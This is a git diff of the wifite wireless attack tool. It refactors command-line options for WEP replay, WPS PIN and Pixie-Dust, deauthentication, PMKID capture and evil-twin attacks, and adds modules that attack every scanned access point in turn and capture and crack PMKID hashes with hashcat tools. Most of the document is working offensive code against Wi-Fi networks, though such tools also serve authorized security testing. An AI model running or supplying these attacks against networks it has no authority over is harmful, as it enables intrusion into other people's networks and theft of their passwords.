self._add_wep_args(wep_group) self._add_eviltwin_args(parser.add_argument_group(Color.s('{C}EVIL TWIN{W}')))
self._add_command_args(parser.add_argument_group(Color.s('{C}COMMANDS{W}')))
wpa_group = parser.add_argument_group('WPA')
self._add_wpa_args(wpa_group)
wps_group = parser.add_argument_group('WPS')
self._add_wps_args(wps_group)
eviltwin_group = parser.add_argument_group('EVIL TWIN')
self._add_eviltwin_args(eviltwin_group)
commands_group = parser.add_argument_group('COMMANDS')
self._add_command_args(commands_group)
return parser.parse_args() return parser.parse_args()
@@ -52,22 +43,32 @@ class Arguments(object):
action='count', action='count',
default=0, default=0,
dest='verbose', dest='verbose',
help=Color.s('Shows more options ({C}-h -v{W}). Prints commands and outputs. (default: {G}quiet{W})')) help=Color.s('Shows more options ({C}-h -v{W}). Prints commands and ' +
'outputs. (default: {G}quiet{W})'))
glob.add_argument('-i', glob.add_argument('-i',
action='store', action='store',
dest='interface', dest='interface',
metavar='[interface]', metavar='[interface]',
type=str, type=str,
help=Color.s('Wireless interface to use (default: {G}choose first or ask{W})')) help=Color.s('Wireless interface to use, e.g. {C}wlan0mon{W} ' +
'(default: {G}ask{W})'))
glob.add_argument('-c', glob.add_argument('-c',
action='store', action='store',
dest='channel', dest='channel',
metavar='[channel]', metavar='[channel]',
type=int, type=int,
help=Color.s('Wireless channel to scan (default: {G}all channels{W})')) help=Color.s('Wireless channel to scan (default: {G}all 2Ghz channels{W})'))
glob.add_argument('--channel', help=argparse.SUPPRESS, action='store', dest='channel', type=int) glob.add_argument('--channel', help=argparse.SUPPRESS, action='store',
dest='channel', type=int)
glob.add_argument('-5',
'--5ghz',
action='store_true',
dest='five_ghz',
help=self._verbose('Include 5Ghz channels (default: {G}off{W})'))
glob.add_argument('-mac', glob.add_argument('-mac',
'--random-mac', '--random-mac',
@@ -80,29 +81,28 @@ class Arguments(object):
dest='scan_time', dest='scan_time',
nargs='?', nargs='?',
const=10, const=10,
metavar='scantime', metavar='scan_time',
type=int, type=int,
help=Color.s('{G}Pillage{W}: Attack all targets after {C}scantime{W} seconds')) help=Color.s('{G}Pillage{W}: Attack all targets after ' +
glob.add_argument('--pillage', help=argparse.SUPPRESS, action='store', dest='scan_time', nargs='?', const=10, type=int) '{C}scan_time{W} (seconds)'))
glob.add_argument('--pillage', help=argparse.SUPPRESS, action='store',
dest='scan_time', nargs='?', const=10, type=int)
glob.add_argument('--kill', glob.add_argument('--kill',
action='store_true', action='store_true',
dest='kill_conflicting_processes', dest='kill_conflicting_processes',
help=Color.s('Kill processes that conflict with Airmon/Airodump (default: {G}off{W})')) help=Color.s('Kill processes that conflict with Airmon/Airodump ' +
'(default: {G}off{W})'))
glob.add_argument('-5',
'--5ghz',
action='store_true',
dest='five_ghz',
help=self._verbose('Include 5Ghz channels (default: {G}off{W})'))
glob.add_argument('-b', glob.add_argument('-b',
action='store', action='store',
dest='target_bssid', dest='target_bssid',
metavar='[bssid]', metavar='[bssid]',
type=str, type=str,
help=self._verbose('BSSID (e.g. {GR}AA:BB:CC:DD:EE:FF{W}) of access point to attack')) help=self._verbose('BSSID (e.g. {GR}AA:BB:CC:DD:EE:FF{W}) of access ' +
glob.add_argument('--bssid', help=argparse.SUPPRESS, action='store', dest='target_bssid', type=str) 'point to attack'))
glob.add_argument('--bssid', help=argparse.SUPPRESS, action='store',
dest='target_bssid', type=str)
glob.add_argument('-e', glob.add_argument('-e',
action='store', action='store',
@@ -110,7 +110,8 @@ class Arguments(object):
metavar='[essid]', metavar='[essid]',
type=str, type=str,
help=self._verbose('ESSID (e.g. {GR}NETGEAR07{W}) of access point to attack')) help=self._verbose('ESSID (e.g. {GR}NETGEAR07{W}) of access point to attack'))
glob.add_argument('--essid', help=argparse.SUPPRESS, action='store', dest='target_essid', type=str) glob.add_argument('--essid', help=argparse.SUPPRESS, action='store',
dest='target_essid', type=str)
glob.add_argument('-E', glob.add_argument('-E',
action='store', action='store',
@@ -119,12 +120,14 @@ class Arguments(object):
type=str, type=str,
default=None, default=None,
help=self._verbose('Hides targets with ESSIDs that match the given text')) help=self._verbose('Hides targets with ESSIDs that match the given text'))
glob.add_argument('--ignore-essid', help=argparse.SUPPRESS, action='store', dest='ignore_essid', type=str) glob.add_argument('--ignore-essid', help=argparse.SUPPRESS, action='store',
dest='ignore_essid', type=str)
glob.add_argument('--clients-only', '-co', glob.add_argument('--clients-only',
action='store_true', action='store_true',
dest='clients_only', dest='clients_only',
help=Color.s('Only show targets that have associated clients (default: {G}off{W})')) help=Color.s('Only show targets that have associated clients ' +
'(default: {G}off{W})'))
glob.add_argument('--showb', glob.add_argument('--showb',
action='store_true', action='store_true',
@@ -134,26 +137,33 @@ class Arguments(object):
glob.add_argument('--nodeauths', glob.add_argument('--nodeauths',
action='store_true', action='store_true',
dest='no_deauth', dest='no_deauth',
help=Color.s('Passive mode: Never deauthenticates clients (default: {G}deauth targets{W})')) help=Color.s('Passive mode: Never deauthenticates clients ' +
glob.add_argument('--no-deauths', action='store_true', dest='no_deauth', help=argparse.SUPPRESS) '(default: {G}deauth targets{W})'))
glob.add_argument('-nd', action='store_true', dest='no_deauth', help=argparse.SUPPRESS) glob.add_argument('--no-deauths', action='store_true', dest='no_deauth',
help=argparse.SUPPRESS)
glob.add_argument('-nd', action='store_true', dest='no_deauth',
help=argparse.SUPPRESS)
glob.add_argument('--num-deauths', glob.add_argument('--num-deauths',
action='store', action='store',
type=int, type=int,
dest='num_deauths', dest='num_deauths',
metavar="[num]", metavar='[num]',
default=None, default=None,
help=self._verbose('Number of deauth packets to send (default: {G}%d{W})' % self.config.num_deauths)) help=self._verbose('Number of deauth packets to send (default: ' +
'{G}%d{W})' % self.config.num_deauths))
def _add_eviltwin_args(self, group): def _add_eviltwin_args(self, group):
group.add_argument('-ev', pass
'--eviltwin', '''
group.add_argument('--eviltwin',
action='store_true', action='store_true',
dest='use_eviltwin', dest='use_eviltwin',
help=Color.s('Use the "Evil Twin" attack against all targets (default: {G}off{W})')) help=Color.s('Use the "Evil Twin" attack against all targets ' +
'(default: {G}off{W})'))
# TODO: Args to specify deauth interface, server port, etc. # TODO: Args to specify deauth interface, server port, etc.
'''
def _add_wep_args(self, wep): def _add_wep_args(self, wep):
@@ -161,134 +171,151 @@ class Arguments(object):
wep.add_argument('--wep', wep.add_argument('--wep',
action='store_true', action='store_true',
dest='wep_filter', dest='wep_filter',
help=Color.s('Filter to display only WEP-encrypted networks (default: {G}off{W})')) help=Color.s('Show only {C}WEP-encrypted networks{W}'))
wep.add_argument('-wep', help=argparse.SUPPRESS, action='store_true', dest='wep_filter') wep.add_argument('-wep', help=argparse.SUPPRESS, action='store_true',
dest='wep_filter')
wep.add_argument('--require-fakeauth', wep.add_argument('--require-fakeauth',
action='store_true', action='store_true',
dest='require_fakeauth', dest='require_fakeauth',
help=Color.s('Fails attacks if fake-auth fails (default: {G}off{W})')) help=Color.s('Fails attacks if {C}fake-auth{W} fails (default: {G}off{W})'))
wep.add_argument('--nofakeauth', help=argparse.SUPPRESS, action='store_true', dest='require_fakeauth') wep.add_argument('--nofakeauth', help=argparse.SUPPRESS, action='store_true',
wep.add_argument('-nofakeauth', help=argparse.SUPPRESS, action='store_true', dest='require_fakeauth') dest='require_fakeauth')
wep.add_argument('-nofakeauth', help=argparse.SUPPRESS, action='store_true',
dest='require_fakeauth')
wep.add_argument('--keep-ivs', wep.add_argument('--keep-ivs',
action='store_true', action='store_true',
dest='wep_keep_ivs', dest='wep_keep_ivs',
default=False, default=False,
help=Color.s('Retain .IVS files and reuse when cracking (default: {G}off{W})')) help=Color.s('Retain .IVS files and reuse when cracking ' +
'(default: {G}off{W})'))
wep.add_argument('--pps', wep.add_argument('--pps',
action='store', action='store',
dest='wep_pps', dest='wep_pps',
metavar='[pps]', metavar='[pps]',
type=int, type=int,
help=self._verbose('Packets Per Second to replay (default: {G}%d pps{W})' % self.config.wep_pps)) help=self._verbose('Packets-per-second to replay (default: ' +
wep.add_argument('-pps', help=argparse.SUPPRESS, action='store', dest='wep_pps', type=int) '{G}%d pps{W})' % self.config.wep_pps))
wep.add_argument('-pps', help=argparse.SUPPRESS, action='store',
dest='wep_pps', type=int)
wep.add_argument('--wept', wep.add_argument('--wept',
action='store', action='store',
dest='wep_timeout', dest='wep_timeout',
metavar='[seconds]', metavar='[seconds]',
type=int, type=int,
help=self._verbose('Seconds to wait before failing (default: {G}%d sec{W})' % self.config.wep_timeout)) help=self._verbose('Seconds to wait before failing (default: ' +
wep.add_argument('-wept', help=argparse.SUPPRESS, action='store', dest='wep_timeout', type=int) '{G}%d sec{W})' % self.config.wep_timeout))
wep.add_argument('-wept', help=argparse.SUPPRESS, action='store',
dest='wep_timeout', type=int)
wep.add_argument('--wepca', wep.add_argument('--wepca',
action='store', action='store',
dest='wep_crack_at_ivs', dest='wep_crack_at_ivs',
metavar='[ivs]', metavar='[ivs]',
type=int, type=int,
help=self._verbose('Start cracking at this many IVs (default: {G}%d ivs{W})' % self.config.wep_crack_at_ivs)) help=self._verbose('Start cracking at this many IVs (default: ' +
wep.add_argument('-wepca', help=argparse.SUPPRESS, action='store', dest='wep_crack_at_ivs', type=int) '{G}%d ivs{W})' % self.config.wep_crack_at_ivs))
wep.add_argument('-wepca', help=argparse.SUPPRESS, action='store',
dest='wep_crack_at_ivs', type=int)
wep.add_argument('--weprs', wep.add_argument('--weprs',
action='store', action='store',
dest='wep_restart_stale_ivs', dest='wep_restart_stale_ivs',
metavar='[seconds]', metavar='[seconds]',
type=int, type=int,
help=self._verbose('Restart aireplay if no new IVs appear (default: {G}%d sec{W})' % self.config.wep_restart_stale_ivs)) help=self._verbose('Restart aireplay if no new IVs appear (default: ' +
wep.add_argument('-weprs', help=argparse.SUPPRESS, action='store', dest='wep_restart_stale_ivs', type=int) '{G}%d sec{W})' % self.config.wep_restart_stale_ivs))
wep.add_argument('-weprs', help=argparse.SUPPRESS, action='store',
dest='wep_restart_stale_ivs', type=int)
wep.add_argument('--weprc', wep.add_argument('--weprc',
action='store', action='store',
dest='wep_restart_aircrack', dest='wep_restart_aircrack',
metavar='[seconds]', metavar='[seconds]',
type=int, type=int,
help=self._verbose('Restart aircrack after this delay (default: {G}%d sec{W})' % self.config.wep_restart_aircrack)) help=self._verbose('Restart aircrack after this delay (default: ' +
wep.add_argument('-weprc', help=argparse.SUPPRESS, action='store', dest='wep_restart_aircrack', type=int) '{G}%d sec{W})' % self.config.wep_restart_aircrack))
wep.add_argument('-weprc', help=argparse.SUPPRESS, action='store',
dest='wep_restart_aircrack', type=int)
wep.add_argument('--arpreplay', wep.add_argument('--arpreplay',
action='store_true', action='store_true',
dest='wep_attack_replay', dest='wep_attack_replay',
help=self._verbose('Use ARP-replay WEP attack (default: {G}on{W})')) help=self._verbose('Use {C}ARP-replay{W} WEP attack (default: {G}on{W})'))
wep.add_argument('-arpreplay', help=argparse.SUPPRESS, action='store_true', dest='wep_attack_replay') wep.add_argument('-arpreplay', help=argparse.SUPPRESS, action='store_true',
dest='wep_attack_replay')
wep.add_argument('--fragment', wep.add_argument('--fragment',
action='store_true', action='store_true',
dest='wep_attack_fragment', dest='wep_attack_fragment',
help=self._verbose('Use fragmentation WEP attack (default: {G}on{W})')) help=self._verbose('Use {C}fragmentation{W} WEP attack (default: {G}on{W})'))
wep.add_argument('-fragment', help=argparse.SUPPRESS, action='store_true', dest='wep_attack_fragment') wep.add_argument('-fragment', help=argparse.SUPPRESS, action='store_true',
dest='wep_attack_fragment')
wep.add_argument('--chopchop', wep.add_argument('--chopchop',
action='store_true', action='store_true',
dest='wep_attack_chopchop', dest='wep_attack_chopchop',
help=self._verbose('Use chop-chop WEP attack (default: {G}on{W})')) help=self._verbose('Use {C}chop-chop{W} WEP attack (default: {G}on{W})'))
wep.add_argument('-chopchop', help=argparse.SUPPRESS, action='store_true', dest='wep_attack_chopchop') wep.add_argument('-chopchop', help=argparse.SUPPRESS, action='store_true',
dest='wep_attack_chopchop')
wep.add_argument('--caffelatte', wep.add_argument('--caffelatte',
action='store_true', action='store_true',
dest='wep_attack_caffe', dest='wep_attack_caffe',
help=self._verbose('Use caffe-latte WEP attack (default: {G}on{W})')) help=self._verbose('Use {C}caffe-latte{W} WEP attack (default: {G}on{W})'))
wep.add_argument('-caffelatte', help=argparse.SUPPRESS, action='store_true', dest='wep_attack_caffelatte') wep.add_argument('-caffelatte', help=argparse.SUPPRESS, action='store_true',
dest='wep_attack_caffelatte')
wep.add_argument('--p0841', wep.add_argument('--p0841',
action='store_true', action='store_true',
dest='wep_attack_p0841', dest='wep_attack_p0841',
help=self._verbose('Use p0841 WEP attack (default: {G}on{W})')) help=self._verbose('Use {C}p0841{W} WEP attack (default: {G}on{W})'))
wep.add_argument('-p0841', help=argparse.SUPPRESS, action='store_true', dest='wep_attack_p0841') wep.add_argument('-p0841', help=argparse.SUPPRESS, action='store_true',
dest='wep_attack_p0841')
wep.add_argument('--hirte', wep.add_argument('--hirte',
action='store_true', action='store_true',
dest='wep_attack_hirte', dest='wep_attack_hirte',
help=self._verbose('Use ARP-replay WEP attack (default: {G}on{W})')) help=self._verbose('Use {C}hirte{W} WEP attack (default: {G}on{W})'))
wep.add_argument('-hirte', help=argparse.SUPPRESS, action='store_true', dest='wep_attack_hirte') wep.add_argument('-hirte', help=argparse.SUPPRESS, action='store_true',
dest='wep_attack_hirte')
def _add_wpa_args(self, wpa): def _add_wpa_args(self, wpa):
wpa.add_argument('--wpa', wpa.add_argument('--wpa',
action='store_true', action='store_true',
dest='wpa_filter', dest='wpa_filter',
help=Color.s('Filter to display only WPA-encrypted networks (includes WPS)')) help=Color.s('Show only {C}WPA-encrypted networks{W} (includes {C}WPS{W})'))
wpa.add_argument('-wpa', help=argparse.SUPPRESS, action='store_true', dest='wpa_filter') wpa.add_argument('-wpa', help=argparse.SUPPRESS, action='store_true',
dest='wpa_filter')
wpa.add_argument('--wpadt', wpa.add_argument('--pmkid',
action='store', action='store_true',
dest='wpa_deauth_timeout', dest='use_pmkid_only',
metavar='[seconds]', help=Color.s('{O}Only{W} use {C}PMKID capture{W}, avoids other WPS & ' +
type=int, 'WPA attacks (default: {G}off{W})'))
help=self._verbose('Time to wait between sending Deauths (default: {G}%d sec{W})' % self.config.wpa_deauth_timeout)) # Alias
wpa.add_argument('-wpadt', help=argparse.SUPPRESS, action='store', dest='wpa_deauth_timeout', type=int) wpa.add_argument('-pmkid', action='store_true', dest='use_pmkid_only',
help=argparse.SUPPRESS)
wpa.add_argument('--wpat',
action='store',
dest='wpa_attack_timeout',
metavar='[seconds]',
type=int,
help=self._verbose('Time to wait before failing WPA attack (default: {G}%d sec{W})' % self.config.wpa_attack_timeout))
wpa.add_argument('-wpat', help=argparse.SUPPRESS, action='store', dest='wpa_attack_timeout', type=int)
wpa.add_argument('--new-hs', wpa.add_argument('--new-hs',
action='store_true', action='store_true',
dest='ignore_old_handshakes', dest='ignore_old_handshakes',
help=Color.s('Captures new handshakes, ignores existing handshakes in ./hs (default: {G}off{W})')) help=Color.s('Captures new handshakes, ignores existing handshakes ' +
'in ./hs (default: {G}off{W})'))
wpa.add_argument('--hs-dir', wpa.add_argument('--hs-dir',
action='store', action='store',
dest='wpa_handshake_dir', dest='wpa_handshake_dir',
metavar='[dir]', metavar='[dir]',
type=str, type=str,
help=self._verbose('Directory to store handshake files (default: {G}%s{W})' % self.config.wpa_handshake_dir)) help=self._verbose('Directory to store handshake files ' +
wpa.add_argument('-hs-dir', help=argparse.SUPPRESS, action='store', dest='wpa_handshake_dir', type=str) '(default: {G}%s{W})' % self.config.wpa_handshake_dir))
wpa.add_argument('-hs-dir', help=argparse.SUPPRESS, action='store',
dest='wpa_handshake_dir', type=str)
wpa.add_argument('--dict', wpa.add_argument('--dict',
action='store', action='store',
@@ -298,6 +325,26 @@ class Arguments(object):
help=Color.s('File containing passwords for cracking (default: {G}%s{W})') help=Color.s('File containing passwords for cracking (default: {G}%s{W})')
% self.config.wordlist) % self.config.wordlist)
wpa.add_argument('--wpadt',
action='store',
dest='wpa_deauth_timeout',
metavar='[seconds]',
type=int,
help=self._verbose('Time to wait between sending Deauths ' +
'(default: {G}%d sec{W})' % self.config.wpa_deauth_timeout))
wpa.add_argument('-wpadt', help=argparse.SUPPRESS, action='store',
dest='wpa_deauth_timeout', type=int)
wpa.add_argument('--wpat',
action='store',
dest='wpa_attack_timeout',
metavar='[seconds]',
type=int,
help=self._verbose('Time to wait before failing WPA attack ' +
'(default: {G}%d sec{W})' % self.config.wpa_attack_timeout))
wpa.add_argument('-wpat', help=argparse.SUPPRESS, action='store',
dest='wpa_attack_timeout', type=int)
# TODO: Uncomment the --strip option once it works # TODO: Uncomment the --strip option once it works
''' '''
wpa.add_argument('--strip', wpa.add_argument('--strip',
@@ -306,34 +353,51 @@ class Arguments(object):
default=False, default=False,
help=Color.s('Strip unnecessary packets from handshake capture using tshark')) help=Color.s('Strip unnecessary packets from handshake capture using tshark'))
''' '''
wpa.add_argument('-strip', help=argparse.SUPPRESS, action='store_true', dest='wpa_strip_handshake') wpa.add_argument('-strip', help=argparse.SUPPRESS, action='store_true',
dest='wpa_strip_handshake')
def _add_wps_args(self, wps): def _add_wps_args(self, wps):
wps.add_argument('--wps', wps.add_argument('--wps',
action='store_true', action='store_true',
dest='wps_filter', dest='wps_filter',
help=Color.s('Filter to display only WPS-enabled networks')) help=Color.s('Show only {C}WPS-enabled networks{W}'))
wps.add_argument('-wps', help=argparse.SUPPRESS, action='store_true', dest='wps_filter') wps.add_argument('-wps', help=argparse.SUPPRESS, action='store_true',
dest='wps_filter')
wps.add_argument('--bully',
action='store_true',
dest='use_bully',
help=Color.s('Use {C}bully{W} instead of {C}reaver{W} for WPS attacks (default: {G}reaver{W})'))
# Alias
wps.add_argument('-bully', help=argparse.SUPPRESS, action='store_true', dest='use_bully')
wps.add_argument('--no-wps', wps.add_argument('--no-wps',
action='store_true', action='store_true',
dest='no_wps', dest='no_wps',
help=Color.s('{O}NEVER{W} use WPS attacks (Pixie-Dust) on non-WEP networks (default: {G}off{W})')) help=self._verbose('{O}Never{W} use {O}WPS PIN{W} & {O}Pixie-Dust{W}' +
'attacks on targets (default: {G}off{W})'))
wps.add_argument('--wps-only', wps.add_argument('--wps-only',
action='store_true', action='store_true',
dest='wps_only', dest='wps_only',
help=Color.s('{G}ALWAYS{W} use WPS attacks (Pixie-Dust) on non-WEP networks (default: {G}off{W})')) help=Color.s('{O}Only{W} use {C}WPS PIN{W} & {C}Pixie-Dust{W} ' +
'attacks (default: {G}off{W})'))
wps.add_argument('--pixie', action='store_true', dest='wps_pixie',
help=self._verbose('{O}Only{W} use {C}WPS Pixie-Dust{W} attack ' +
'(do not use {O}PIN attack{W})'))
wps.add_argument('--no-pixie', action='store_true', dest='wps_no_pixie',
help=self._verbose('{O}Never{W} use {O}WPS Pixie-Dust{W} attack ' +
'(use {G}PIN attack{W})'))
wps.add_argument('--bully',
action='store_true',
dest='use_bully',
help=Color.s('Use {G}bully{W} program for WPS PIN & Pixie-Dust attacks ' +
'(default: {G}reaver{W})'))
# Alias # Alias
wps.add_argument('--pixie', help=argparse.SUPPRESS, action='store_true', dest='wps_only') wps.add_argument('-bully', help=argparse.SUPPRESS, action='store_true',
dest='use_bully')
# Ignore lock-outs
wps.add_argument('--ignore-locks', action='store_true', dest='wps_ignore_lock',
help=Color.s('Do {O}not{W} stop WPS PIN attack if AP becomes {O}locked{W} ' +
' (default: {G}stop{W})'))
# Time limit on entire attack. # Time limit on entire attack.
wps.add_argument('--wps-time', wps.add_argument('--wps-time',
@@ -341,37 +405,44 @@ class Arguments(object):
dest='wps_pixie_timeout', dest='wps_pixie_timeout',
metavar='[sec]', metavar='[sec]',
type=int, type=int,
help=self._verbose('Total time to wait before failing PixieDust attack (default: {G}%d sec{W})' % self.config.wps_pixie_timeout)) help=self._verbose('Total time to wait before failing PixieDust attack ' +
'(default: {G}%d sec{W})' % self.config.wps_pixie_timeout))
# Alias # Alias
wps.add_argument('-wpst', help=argparse.SUPPRESS, action='store', dest='wps_pixie_timeout', type=int) wps.add_argument('-wpst', help=argparse.SUPPRESS, action='store',
dest='wps_pixie_timeout', type=int)
# Maximum number of "failures" (WPSFail) # Maximum number of 'failures' (WPSFail)
wps.add_argument('--wps-fails', wps.add_argument('--wps-fails',
action='store', action='store',
dest='wps_fail_threshold', dest='wps_fail_threshold',
metavar='[num]', metavar='[num]',
type=int, type=int,
help=self._verbose('Maximum number of WPSFail/NoAssoc errors before failing (default: {G}%d{W})' % self.config.wps_fail_threshold)) help=self._verbose('Maximum number of WPSFail/NoAssoc errors before ' +
'failing (default: {G}%d{W})' % self.config.wps_fail_threshold))
# Alias # Alias
wps.add_argument('-wpsf', help=argparse.SUPPRESS, action='store', dest='wps_fail_threshold', type=int) wps.add_argument('-wpsf', help=argparse.SUPPRESS, action='store',
dest='wps_fail_threshold', type=int)
# Maximum number of "timeouts" # Maximum number of 'timeouts'
wps.add_argument('--wps-timeouts', wps.add_argument('--wps-timeouts',
action='store', action='store',
dest='wps_timeout_threshold', dest='wps_timeout_threshold',
metavar='[num]', metavar='[num]',
type=int, type=int,
help=self._verbose('Maximum number of Timeouts before failing (default: {G}%d{W})' % self.config.wps_timeout_threshold)) help=self._verbose('Maximum number of Timeouts before failing ' +
'(default: {G}%d{W})' % self.config.wps_timeout_threshold))
# Alias # Alias
wps.add_argument('-wpsto', help=argparse.SUPPRESS, action='store', dest='wps_timeout_threshold', type=int) wps.add_argument('-wpsto', help=argparse.SUPPRESS, action='store',
dest='wps_timeout_threshold', type=int)
def _add_command_args(self, commands): def _add_command_args(self, commands):
commands.add_argument('--cracked', commands.add_argument('--cracked',
action='store_true', action='store_true',
dest='cracked', dest='cracked',
help=Color.s('Display previously-cracked access points')) help=Color.s('Print previously-cracked access points'))
commands.add_argument('-cracked', help=argparse.SUPPRESS, action='store_true', dest='cracked') commands.add_argument('-cracked', help=argparse.SUPPRESS, action='store_true',
dest='cracked')
commands.add_argument('--check', commands.add_argument('--check',
action='store', action='store',
@@ -379,8 +450,10 @@ class Arguments(object):
nargs='?', nargs='?',
const='<all>', const='<all>',
dest='check_handshake', dest='check_handshake',
help=Color.s('Check a .cap file (or all hs/*.cap files) for WPA handshakes')) help=Color.s('Check a {C}.cap file{W} (or all {C}hs/*.cap{W} files) ' +
commands.add_argument('-check', help=argparse.SUPPRESS, action='store', nargs='?', const='<all>', dest='check_handshake') 'for WPA handshakes'))
commands.add_argument('-check', help=argparse.SUPPRESS, action='store',
nargs='?', const='<all>', dest='check_handshake')
commands.add_argument('--crack', commands.add_argument('--crack',
action='store_true', action='store_true',

0
wifite/attack/__init__.py Normal file → Executable file
View File

149
wifite/attack/all.py Executable file
View File

@@ -0,0 +1,149 @@
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from .wep import AttackWEP
from .wpa import AttackWPA
from .wps import AttackWPS
from .pmkid import AttackPMKID
from ..config import Configuration
from ..util.color import Color
class AttackAll(object):
@classmethod
def attack_multiple(cls, targets):
'''
Attacks all given `targets` (list[wifite.model.target]) until user interruption.
Returns: Number of targets that were attacked (int)
'''
if any(t.wps for t in targets) and not AttackWPS.can_attack_wps():
# Warn that WPS attacks are not available.
Color.pl('{!} {O}Note: WPS attacks are not possible because you do not have {C}reaver{O} nor {C}bully{W}')
attacked_targets = 0
targets_remaining = len(targets)
for index, target in enumerate(targets, start=1):
attacked_targets += 1
targets_remaining -= 1
bssid = target.bssid
essid = target.essid if target.essid_known else '{O}ESSID unknown{W}'
Color.pl('\n{+} ({G}%d{W}/{G}%d{W})' % (index, len(targets)) +
' Starting attacks against {C}%s{W} ({C}%s{W})' % (bssid, essid))
should_continue = cls.attack_single(target, targets_remaining)
if not should_continue:
break
return attacked_targets
@classmethod
def attack_single(cls, target, targets_remaining):
'''
Attacks a single `target` (wifite.model.target).
Returns: True if attacks should continue, False otherwise.
'''
attacks = []
if Configuration.use_eviltwin:
# TODO: EvilTwin attack
pass
elif 'WEP' in target.encryption:
attacks.append(AttackWEP(target))
elif 'WPA' in target.encryption:
# WPA can have multiple attack vectors:
# WPS
if not Configuration.use_pmkid_only:
if target.wps != False and AttackWPS.can_attack_wps():
# Pixie-Dust
if Configuration.wps_pixie:
attacks.append(AttackWPS(target, pixie_dust=True))
# PIN attack
if Configuration.wps_pin:
attacks.append(AttackWPS(target, pixie_dust=False))
if not Configuration.wps_only:
# PMKID
attacks.append(AttackPMKID(target))
# Handshake capture
if not Configuration.use_pmkid_only:
attacks.append(AttackWPA(target))
if len(attacks) == 0:
Color.pl('{!} {R}Error: {O}Unable to attack: no attacks available')
return True # Keep attacking other targets (skip)
while len(attacks) > 0:
attack = attacks.pop(0)
try:
result = attack.run()
if result:
break # Attack was successful, stop other attacks.
except Exception as e:
Color.pexception(e)
continue
except KeyboardInterrupt:
Color.pl('\n{!} {O}Interrupted{W}\n')
answer = cls.user_wants_to_continue(targets_remaining, len(attacks))
if answer is True:
continue # Keep attacking the same target (continue)
elif answer is None:
return True # Keep attacking other targets (skip)
else:
return False # Stop all attacks (exit)
if attack.success:
attack.crack_result.save()
return True # Keep attacking other targets
@classmethod
def user_wants_to_continue(cls, targets_remaining, attacks_remaining=0):
'''
Asks user if attacks should continue onto other targets
Returns:
True if user wants to continue, False otherwise.
'''
if attacks_remaining == 0 and targets_remaining == 0:
return # No targets or attacksleft, drop out
prompt_list = []
if attacks_remaining > 0:
prompt_list.append(Color.s('{C}%d{W} attack(s)' % attacks_remaining))
if targets_remaining > 0:
prompt_list.append(Color.s('{C}%d{W} target(s)' % targets_remaining))
prompt = ' and '.join(prompt_list) + ' remain'
Color.pl('{+} %s' % prompt)
prompt = '{+} Do you want to'
options = '('
if attacks_remaining > 0:
prompt += ' {G}continue{W} attacking,'
options += '{G}C{W}{D}, {W}'
if targets_remaining > 0:
prompt += ' {O}skip{W} to the next target,'
options += '{O}s{W}{D}, {W}'
options += '{R}e{W})'
prompt += ' or {R}exit{W} %s? {C}' % options
from ..util.input import raw_input
answer = raw_input(Color.s(prompt)).lower()
if answer.startswith('s'):
return None # Skip
elif answer.startswith('e'):
return False # Exit
else:
return True # Continue

213
wifite/attack/pmkid.py Executable file
View File

@@ -0,0 +1,213 @@
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from ..model.attack import Attack
from ..config import Configuration
from ..tools.hashcat import HcxDumpTool, HcxPcapTool, Hashcat
from ..util.color import Color
from ..util.timer import Timer
from ..model.pmkid_result import CrackResultPMKID
from threading import Thread
import os
import time
import re
class AttackPMKID(Attack):
def __init__(self, target):
super(AttackPMKID, self).__init__(target)
self.crack_result = None
self.success = False
self.pcapng_file = Configuration.temp('pmkid.pcapng')
def get_existing_pmkid_file(self, bssid):
'''
Load PMKID Hash from a previously-captured hash in ./hs/
Returns:
The hashcat hash (hash*bssid*station*essid) if found.
None if not found.
'''
if not os.path.exists(Configuration.wpa_handshake_dir):
return None
bssid = bssid.lower().replace(':', '')
file_re = re.compile('.*pmkid_.*\.16800')
for filename in os.listdir(Configuration.wpa_handshake_dir):
pmkid_filename = os.path.join(Configuration.wpa_handshake_dir, filename)
if not os.path.isfile(pmkid_filename):
continue
if not re.match(file_re, pmkid_filename):
continue
with open(pmkid_filename, 'r') as pmkid_handle:
pmkid_hash = pmkid_handle.read().strip()
if pmkid_hash.count('*') < 3:
continue
existing_bssid = pmkid_hash.split('*')[1].lower().replace(':', '')
if existing_bssid == bssid:
return pmkid_filename
return None
def run(self):
'''
Performs PMKID attack, if possible.
1) Captures PMKID hash (or re-uses existing hash if found).
2) Cracks the hash.
Returns:
True if handshake is captured. False otherwise.
'''
from ..util.process import Process
# Check that we have all hashcat programs
dependencies = [
Hashcat.dependency_name,
HcxDumpTool.dependency_name,
HcxPcapTool.dependency_name
]
missing_deps = [dep for dep in dependencies if not Process.exists(dep)]
if len(missing_deps) > 0:
Color.pl('{!} Skipping PMKID attack, missing required tools: {O}%s{W}' % ', '.join(missing_deps))
return False
pmkid_file = None
if Configuration.ignore_old_handshakes == False:
# Load exisitng PMKID hash from filesystem
pmkid_file = self.get_existing_pmkid_file(self.target.bssid)
if pmkid_file is not None:
Color.pattack('PMKID', self.target, 'CAPTURE',
'Loaded {C}existing{W} PMKID hash: {C}%s{W}\n' % pmkid_file)
if pmkid_file is None:
# Capture hash from live target.
pmkid_file = self.capture_pmkid()
if pmkid_file is None:
return False # No hash found.
# Crack it.
try:
self.success = self.crack_pmkid_file(pmkid_file)
except KeyboardInterrupt:
Color.pl('\n{!} {R}Failed to crack PMKID: {O}Cracking interrupted by user{W}')
self.success = False
return False
return True # Even if we don't crack it, capturing a PMKID is 'successful'
def capture_pmkid(self):
'''
Runs hashcat's hcxpcaptool to extract PMKID hash from the .pcapng file.
Returns:
The PMKID hash (str) if found, otherwise None.
'''
self.keep_capturing = True
self.timer = Timer(15)
# Start hcxdumptool
t = Thread(target=self.dumptool_thread)
t.start()
# Repeatedly run pcaptool & check output for hash for self.target.essid
pmkid_hash = None
pcaptool = HcxPcapTool(self.target)
while self.timer.remaining() > 0:
pmkid_hash = pcaptool.get_pmkid_hash(self.pcapng_file)
if pmkid_hash is not None:
break # Got PMKID
Color.pattack('PMKID', self.target, 'CAPTURE',
'Waiting for PMKID ({C}%s{W})' % str(self.timer))
time.sleep(1)
self.keep_capturing = False
if pmkid_hash is None:
Color.pattack('PMKID', self.target, 'CAPTURE',
'{R}Failed{O} to capture PMKID\n')
Color.pl('')
return None # No hash found.
Color.clear_entire_line()
Color.pattack('PMKID', self.target, 'CAPTURE', '{G}Captured PMKID{W}')
pmkid_file = self.save_pmkid(pmkid_hash)
return pmkid_file
def crack_pmkid_file(self, pmkid_file):
'''
